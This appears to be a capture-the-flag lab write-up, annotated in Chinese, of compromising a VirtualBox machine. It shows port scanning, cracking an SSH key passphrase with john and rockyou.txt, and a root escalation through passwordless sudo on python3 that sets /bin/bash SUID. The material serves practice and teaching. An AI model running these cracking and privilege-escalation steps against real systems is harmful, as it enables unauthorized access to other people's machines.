┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.43.6 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned my computer so many times, it thinks we're dating.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.6:22 Open 192.168.43.6:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.6 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 18:14 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.00s elapsed Initiating ARP Ping Scan at 18:14 Scanning 192.168.43.6 [1 port] Completed ARP Ping Scan at 18:14, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 18:14 Completed Parallel DNS resolution of 1 host. at 18:14, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 18:14 Scanning 192.168.43.6 [2 ports] Discovered open port 80/tcp on 192.168.43.6 Discovered open port 22/tcp on 192.168.43.6 Completed SYN Stealth Scan at 18:14, 0.01s elapsed (2 total ports) Initiating Service scan at 18:14 Scanning 2 services on 192.168.43.6 Completed Service scan at 18:14, 6.02s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.43.6 NSE: Script scanning 192.168.43.6. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.31s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.00s elapsed Nmap scan report for 192.168.43.6 Host is up, received arp-response (0.00061s latency). Scanned at 2026-07-27 18:14:20 CST for 7s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 5f:73:cb:8a:81:c0:0a:11:18:01:39:e0:1e:bf:ed:60 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoN3ijKzJZlVDRiozexMEKpj/uHuv7T1EeCWmONFKnhp91ezxG0C+2rk3mmGoiVIJQC/Kh1YlwSYBZa9auJQCY= | 256 5c:7d:ee:db:28:56:7c:ef:46:e1:a6:18:c6:03:01:b1 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZEgMxE7+fTzkBdtWf2cccIZAhGMtgYYuQ9gGdYgtdK 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian)) |_http-title: Apache2 Debian Default Page: It works | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.59 (Debian) MAC Address: 08:00:27:F6:B0:37 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=7/27%OT=22%CT=%CU=36918%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A672F83%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 5.877 days (since Tue Jul 21 21:11:44 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.61 ms 192.168.43.6
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 18:14 Completed NSE at 18:14, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh huevosfritos@192.168.43.6 -i id_rsa The authenticity of host '192.168.43.6 (192.168.43.6)' can't be established. ED25519 key fingerprint is: SHA256:4PP67IdqfoXBE/oWAjr7t43VLjDO5bF2feCaWgBbzuw This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.43.6' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa':
存在passphrase包含还需要爆破密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh2john id_rsa > rsa_hash.txt ┌──(root㉿Eecho)-[/tmp/aaaa] └─# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status honda1 (id_rsa) 1g 0:00:00:12 DONE (2026-07-27 18:48) 0.07874g/s 287.2p/s 287.2c/s 287.2C/s girls..654123 Use the "--show" option to display all of the cracked passwords reliably Session completed.
横向移动到huevosfritos用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh huevosfritos@192.168.43.6 -i id_rsa Enter passphrase for key 'id_rsa': Linux huevosfritos 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Jun 16 12:24:42 2024 from 192.168.18.19 huevosfritos@huevosfritos:~$ id uid=1001(huevosfritos) gid=1001(huevosfritos) grupos=1001(huevosfritos) huevosfritos@huevosfritos:~$
huevosfritos -> root
1 2 3 4 5 6
huevosfritos@huevosfritos:~$ sudo -l Matching Defaults entries for huevosfritos on huevosfritos: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User huevosfritos may run the following commands on huevosfritos: (root) NOPASSWD: /usr/bin/python3
sudoers权限滥用,利用python3提权到root 利用python写入恶意提权脚本
1 2 3 4 5 6 7 8 9 10 11 12
huevosfritos@huevosfritos:~$ cd /tmp/ huevosfritos@huevosfritos:/tmp$ vi pwn.py huevosfritos@huevosfritos:/tmp$ cat pwn.py import os os.system("chmod +s /bin/bash") huevosfritos@huevosfritos:/tmp$ sudo -u root /usr/bin/python3 /tmp/pwn.py huevosfritos@huevosfritos:/tmp$ ls -al /bin/bash -rwsr-sr-x 1 root root 1265648 abr 23 2023 /bin/bash huevosfritos@huevosfritos:/tmp$ /bin/bash -p bash-5.2# id uid=1001(huevosfritos) gid=1001(huevosfritos) euid=0(root) egid=0(root) grupos=0(root),1001(huevosfritos) bash-5.2#